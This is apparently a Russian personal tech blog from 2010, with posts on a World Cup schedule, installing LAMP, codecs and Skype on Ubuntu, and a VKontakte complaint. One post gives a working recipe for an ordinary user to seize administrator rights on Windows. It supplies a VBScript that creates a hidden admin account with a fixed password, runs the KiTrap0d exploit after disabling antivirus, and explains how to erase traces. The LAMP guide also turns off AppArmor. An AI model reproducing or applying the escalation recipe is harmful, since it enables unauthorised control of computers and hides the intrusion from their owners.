среда, 16 июня 2010 г.

Вконтакте приложения

Вконтакте сам автоматически шлет предложения установить приложение от лица друзей... вот мудаки!

суббота, 12 июня 2010 г.

Одно слово на множестве языков

Internet Polyglot

пятница, 11 июня 2010 г.

Чемпионат мира по футболу 2010

Расписание:


Сегодня, суббота, 12 июня
0—0
A
Уругвай — Франция
17:30
B
Южная Корея — Греция
20:00
B
Аргентина — Нигерия
Завтра, воскресенье, 13 июня
00:30
C
Англия — США
17:30
C
Алжир — Словения
20:00
D
Сербия — Гана
Понедельник, 14 июня
00:30
D
Германия — Австралия
17:30
E
Нидерланды — Дания
20:00
E
Япония — Камерун
Вторник, 15 июня
00:30
F
Италия — Парагвай
17:30
F
Новая Зеландия — Словакия
20:00
G
Кот-д'Ивуар — Португалия
Среда, 16 июня
00:30
G
Бразилия — КНДР
17:30
H
Гондурас — Чили
20:00
H
Испания — Швейцария
Четверг, 17 июня
00:30
A
ЮАР — Уругвай
17:30
B
Аргентина — Южная Корея
20:00
B
Греция — Нигерия
Пятница, 18 июня
00:30
A
Франция — Мексика
17:30
D
Германия — Сербия
20:00
C
Словения — США
Суббота, 19 июня
00:30
C
Англия — Алжир
17:30
E
Нидерланды — Япония
20:00
D
Гана — Австралия
Воскресенье, 20 июня
00:30
E
Камерун — Дания
17:30
F
Словакия — Парагвай
20:00
F
Италия — Новая Зеландия
Понедельник, 21 июня
00:30
G
Бразилия — Кот-д'Ивуар
17:30
G
Португалия — КНДР
20:00
H
Чили — Швейцария
Вторник, 22 июня
00:30
H
Испания — Гондурас
20:00
A
Мексика — Уругвай
20:00
A
Франция — ЮАР
Среда, 23 июня
00:30
B
Нигерия — Южная Корея
00:30
B
Греция — Аргентина
20:00
C
Словения — Англия
20:00
C
США — Алжир
Четверг, 24 июня
00:30
D
Гана — Германия
00:30
D
Австралия — Сербия
20:00
F
Словакия — Италия
20:00
F
Парагвай — Новая Зеландия
Пятница, 25 июня
00:30
E
Дания — Япония
00:30
E
Камерун — Нидерланды
20:00
G
Португалия — Бразилия
20:00
G
КНДР — Кот-д'Ивуар
Суббота, 26 июня
00:30
H
Чили — Испания
00:30
H
Швейцария — Гондурас
20:00
? — ?


Что стоит посмотреть:

Завтра, воскресенье, 13 июня
00:30
C
Англия — США

Понедельник, 14 июня
00:30
D
Германия — Австралия

Среда, 16 июня
00:30
G
Бразилия — КНДР

Четверг, 17 июня
17:30
B
Аргентина — Южная Корея

Понедельник, 21 июня
00:30
G
Бразилия — Кот-д'Ивуар

Пятница, 25 июня
20:00
G
Португалия — Бразилия

пятница, 19 марта 2010 г.

Установка LAMP на ubuntu server

LAMP сервер на базе 8,04 LTS Ubuntu Server
предлагается использовать установочный диск- ubuntu-8.04-server
И следующее дополнительное программное обеспечение:
 
   * Web сервер: Apache 2.2 вместе с PHP 5.2.4 и Ruby
   * Сервер базы данных: MySQL 5.0
   * FTP сервер: proftpd
   * Webalizer- пакет для сбора статистики вашего web сайта
   * Webmin_1.410-  для управления сервером через web интерфейс
 
последний загрузим с  офсайта:
Код:
установим:
Код:
dpkg -i webmin_1.410_all.deb
подправим зависимости:
Код:
apt-get -f install
 
Примечание: Можно установить птичку LAMP при установке дистрибутива, но я люблю делать такие вещи осмысленно и под контролем.
 
Первый шаг или самое главное:
Устанавливаем Ubuntu 8.04 LTS server CD, дистрибутив которого, можно загрузить здесь:
 
Установка проходит графическом режиме, и достаточно проста.
После перезагрузки, активизируем пользователя root, запускаем команду (после ввода команды- нажимаем Enter):
 
Код:
sudo passwd root
 
Вводим пароль для пользователя root, а затем команду su, чтобы дальнейшие операции совершать под ним.  
 
Код:
su
Натраиваем сетевые карты сервера, редактируя файл /etc/network/interfaces:
 
Код:
nano -w  /etc/network/interfaces
 
Смотрим содержание файла ниже (у вас адреса могут быть свои)
 
Код:
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
 
# The loopback network interface
auto lo
iface lo inet loopback
 
# The primary network interface
auto eth0
iface eth0 inet static
       address 192.168.1.10
       netmask 255.255.255.0
       network 192.168.1.0
       broadcast 192.168.1.255
       gateway 192.168.1.1
 
Перезапускаем нашу сеть:
 
Код:
/etc/init.d/networking restart
 
Редактируем имя нашего сервера:
 
Код:
nano  -w  /etc/hosts
 
Пример:
 
Код:
127.0.0.1       localhost.localdomain   localhost
192.168.1.10   server.home.net     server
 
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
 
Далее выполняем команды:
 
Код:
echo server.home.net > /etc/hostname
/etc/init.d/hostname.sh start
 
проверяем, что получилось:
 
Код:
hostname
hostname -f
 
Если вы увидели надписи на экране server.home.net, то продолжаем.
 
Далее мы редактируем лист со списком необходимых нам репозитариев:
 
Код:
nano  -w  /etc/apt/sources.list
 
Содержимое этого файла- список адресов смотрите ниже:
 
Код:
#
# deb cdrom:[Ubuntu-Server 8.04 _Hardy Heron_ - Release i386 (20080423.2)]/ hardy main restricted
 
#deb cdrom:[Ubuntu-Server 8.04 _Hardy Heron_ - Release i386 (20080423.2)]/ hardy main restricted
# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
# newer versions of the distribution.
 
deb http://de.archive.ubuntu.com/ubuntu/ hardy main restricted
deb-src http://de.archive.ubuntu.com/ubuntu/ hardy main restricted
 
## Major bug fix updates produced after the final release of the
## distribution.
deb http://de.archive.ubuntu.com/ubuntu/ hardy-updates main restricted
deb-src http://de.archive.ubuntu.com/ubuntu/ hardy-updates main restricted
 
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## universe WILL NOT receive any review or updates from the Ubuntu security
## team.
deb-src http://de.archive.ubuntu.com/ubuntu/ hardy universe
deb http://de.archive.ubuntu.com/ubuntu/ hardy-updates universe
deb-src http://de.archive.ubuntu.com/ubuntu/ hardy-updates universe
 
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## multiverse WILL NOT receive any review or updates from the Ubuntu
## security team.
deb-src http://de.archive.ubuntu.com/ubuntu/ hardy multiverse
deb http://de.archive.ubuntu.com/ubuntu/ hardy-updates multiverse
deb-src http://de.archive.ubuntu.com/ubuntu/ hardy-updates multiverse
 
## Uncomment the following two lines to add software from the 'backports'
## repository.
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
# deb http://de.archive.ubuntu.com/ubuntu/ hardy-backports main restricted universe multiverse
# deb-src http://de.archive.ubuntu.com/ubuntu/ hardy-backports main restricted universe multiverse
 
## Uncomment the following two lines to add software from Canonical's
## 'partner' repository. This software is not part of Ubuntu, but is
## offered by Canonical and the respective vendors as a service to Ubuntu
## users.
# deb-src http://archive.canonical.com/ubuntu hardy partner
 
deb http://security.ubuntu.com/ubuntu hardy-security main restricted
deb-src http://security.ubuntu.com/ubuntu hardy-security main restricted
deb http://security.ubuntu.com/ubuntu hardy-security universe
deb-src http://security.ubuntu.com/ubuntu hardy-security universe
deb http://security.ubuntu.com/ubuntu hardy-security multiverse
deb-src http://security.ubuntu.com/ubuntu hardy-security multiverse
 
Далее с целью обновления базы данных доступных в репозитарих пакетов, запускаем команду:
 
Код:
apt-get update
 
И с целью обновления уже устанавленных пакетов ещё одну:
 
Код:
apt-get upgrade
 
Проверяем не забыли ли мы устанавить SSH сервер, что я обычно делаю опционально, при установке дистрибутива в окне выбор софта.
 
Код:
apt-get install ssh openssh-server
 
Затем устанавливаем пакеты для Mysql сервера:
 
Код:
apt-get install mysql-server mysql-client libmysqlclient15-dev
 
По ходу установки вводим пароль пользователя сервера Mysql (root): в этой версии 2 раза, второй раз для проверки правильности.
 
New password for the MySQL "root" user: <-- yourrootsqlpassword ВАШ ПАРОЛЬ
Repeat password for the MySQL "root" user: <-- yourrootsqlpassword ЕЩЕ РАЗ ВАШ ПАРОЛЬ
 
Перезагрузим его (сервер MySQL):
 
Код:
/etc/init.d/mysql restart
 
То же самое для сервера Apashe:
 
Код:
apt-get install apache2 apache2-doc apache2-mpm-prefork apache2-utils libexpat1 ssl-cert
 
Устанавливаем пакеты PHP:
 
Код:
apt-get install libapache2-mod-php5 libapache2-mod-ruby php5 php5-common php5-curl php5-dev php5-gd php5-idn php-pear php5-imagick php5-imap php5-mcrypt php5-memcache php5-mhash php5-ming php5-mysql php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl
Расширим диапазон запускаемых файлов, для чего подредактируем файл dir.conf, с помощью редактора nano:
 
Код:
nano -w /etc/apache2/mods-available/dir.conf
 
Пример как надо сделать, находится ниже:
Код:
 
         #DirectoryIndex index.html index.cgi index.pl index.php index.xhtml index.htm
         DirectoryIndex index.html index.htm index.shtml index.cgi index.php index.php3 index.pl index.xhtml
 
 
Запускаем необходимые модули:
 
Код:
a2enmod ssl
a2enmod rewrite
a2enmod suexec
a2enmod include
 
Перезагружаем сервер Apashe:
 
Код:
/etc/init.d/apache2 force-reload
 
Можно при необходимости установить FTP сервер:
 
Код:
apt-get install proftpd ucf
 
При появлении надписи:
 
Run proftpd: <-- standalone (самостоятельно)
 
Нажимаем OK
 
Для безопасности подправим конфигурационный файл FTP сервера:
 
Код:
nano  -w  /etc/proftpd/proftpd.conf
 
Пример:
 
Код:
[...]
DefaultRoot ~
IdentLookups off
ServerIdent on "FTP Server ready."
[...]
 
Для сбора статистики вашего web сайта, можно установить пакетwebalizer
Код:
apt-get install webalizer
 
Для синхронизации системных часов с серверами в Интернете ставим следующие пакеты:
 
Код:
apt-get install ntp ntpdate
 
Для управления через web интерфейс, как писал выше, загружаем и ставим пакет webmin:
 
 
Код:
apt-get install webmin_1.410_all.deb
 
При необходимости пакет phpmyadmin для управления базами mysql через web интерфейс:
 
Код:
apt-get install phpmyadmin
 
Файловый менеджер MC:
 
Код:
apt-get install mc
 
и если вы установили русский язык то и этот пакет:
 
Код:
apt-get install console-cyrillic
 
И для всяких нужд (сборки пакетов и других возможных работ), можно установить дополнительное программное обеспечение:
 
Код:
apt-get install binutils cpp fetchmail flex gcc libarchive-zip-perl libc6-dev libcompress-zlib-perl libdb4.3-dev libpcre3 libpopt-dev lynx m4 make ncftp nmap openssl perl perl-modules unzip zip zlib1g-dev autoconf automake1.9 libtool bison autotools-dev g++ build-essential
 
В принципе, этого всего мне хватает, чтобы установить и проверить работоспособность кучи софта: форумов, сайтов, CRM и прочая, прочая......
 
P.S. у известных авторов подобных статей, которая появилась буквально сегодня:
есть мнение, что  паект AppArmor, подменящий в какой то мере пакет SELinux, вызывает непредсказуемые ошибки при установке серезных PHP и др. приложений, поэтому предлагают его выключить следующими командами:
 
Код:
/etc/init.d/apparmor stop
update-rc.d -f apparmor remove
Пока все.
Да все это у меня полмесяца, уже работает без проблем!
 
И как я рекомендую начинающим, ВСЕ это можно установить на рабочей десктопной машине, т.е.с X -ми вместе!  Можно так же загрузить и серверное ядро, хотя и так все будет работать.
Правда, компиз при этом ядре у Вас перестанет работать, но изучать сервер вы можете без проблем:
 
Код:
apt-get install linux-server
установка серверного ядра (если для дома и для изучения, то не обязательно).

понедельник, 8 марта 2010 г.

Добавление из под юзера админской учетки в windows

Составляем скрипт добавления администратора:

Set s=CreateObject("WScript.Shell")
s.run"C:\windows\system32\net.exe user zimper qwerty /add", True
s.run"C:\windows\system32\net.exe localgroup Администраторы zimper /add", True
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.GetFile(WScript.ScriptFullName)
s.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\MIcrosoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\zimper<=(<имя пользователя>)",0,"REG_DWORD"



Сохраняем в файле например: admin.vbs

Далее, чтобы он выполнился без ошибок, необходимо иметь права админа в консоли.
Для их получения можно воспользоваться глобальной уязвимостью всех оконных систем через метасплоит kitrap0d. Скачиваем сплоит, далее из консоли запускаем файл vdmallowed.exe. Его запуск могут пытаться блокировать анитвирусы, поэтому, по возможности, лучше все отключить. После запуска vdmallowed.exe с правами администратора запускаем файл admin.vbs. Все, теперь новый администратор с ником zimper и паролем qwerty должен быть добавлен.
Перезагружаемся и заходим под админом.
Чтобы удалить следы учетной записи, нужно будет удалить папку пользователя zimper (из консоли это - rmdir с:/Documents and Settings/zimper /s), а также из реестра запись
HKEY_LOCAL_MACHINE\SOFTWARE\MIcrosoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\zimper<=(<имя пользователя>)

суббота, 6 марта 2010 г.

Установка аудио и видео кодеков в Ubuntu 9.10

Install driver sound on Ubuntu 9.10 Karmic to supporting mp3, DVD playback, GStreamer Plugins, and etc that will support audio video for Ubuntu karmic.
We will install via terminal. Press Alt + F2 >> gnome-terminal

$ sudo aptitude install ubuntu-restricted-extras

After finished, We can play audio video, flash and many audio format on ubuntu 9.10 Karmic.

Installed multimedia application for Ubuntu Karmic.

The best mp3 player on Ubuntu 9.10 Karmic

Amarok - Rediscover your music

$ sudo apt-get install amarok

Audacious

$ sudo apt-get install audacious


Songbird
Download and extract Songbird

$ wget http://download.songbirdnest.com/installer/linux/i686/Songbird_1.2.0-1146_linux-i686.tar.gz
$ sudo tar -zxvf Songbird_1.2.0-1146_linux-i686.tar.gz -C /opt

Run Songbird

$ cd /opt/Songbird
$ ./songbird

Create shortcut of songbird on Desktop
Right click >> Create Launcher

Name : Songbird
Command : "/opt/Songbird/songbird"
Comment : Mp3 player


After finished, you can start songbird via desktop.

The most used DVD or VCD player on Ubuntu 9.10 Karmic

VLC

$ sudo apt-get install vlc

Kaffeine

$ sudo apt-get install kaffeine

Kmplayer

$ sudo apt-get install kmplayer

Mplayer

$ sudo apt-get install mplayer

Smplayer

$ sudo apt-get install smplayer

Enjoy it to play your music and video.

установка skype

Installing Skype

Skype is not available in any Ubuntu software repository, and therefore cannot be installed with Ubuntu's package management software such as Synaptic or apt-get without adding a repository containing Skype. There is the official Skype repository: http://forum.skype.com/index.php?showtopic=29679


Edit conflict - other version:

You can add the Apt source like this
echo "deb http://download.skype.com/linux/repos/debian/ stable non-free #Skype" | sudo tee -a /etc/apt/sources.list > /dev/null

Import the Apt key, even it is not used, but may be useful in future:
gpg --keyserver pgp.mit.edu --recv-keys 0xd66b746e && gpg --export --armor 0xd66b746e | sudo apt-key add -

Install Skype:
sudo aptitude update && sudo aptitude install skype

Using a repository, you will automatically receive future updates to the software. Please be aware that the repository is not signed, so when you try to install Skype, you will get a warning.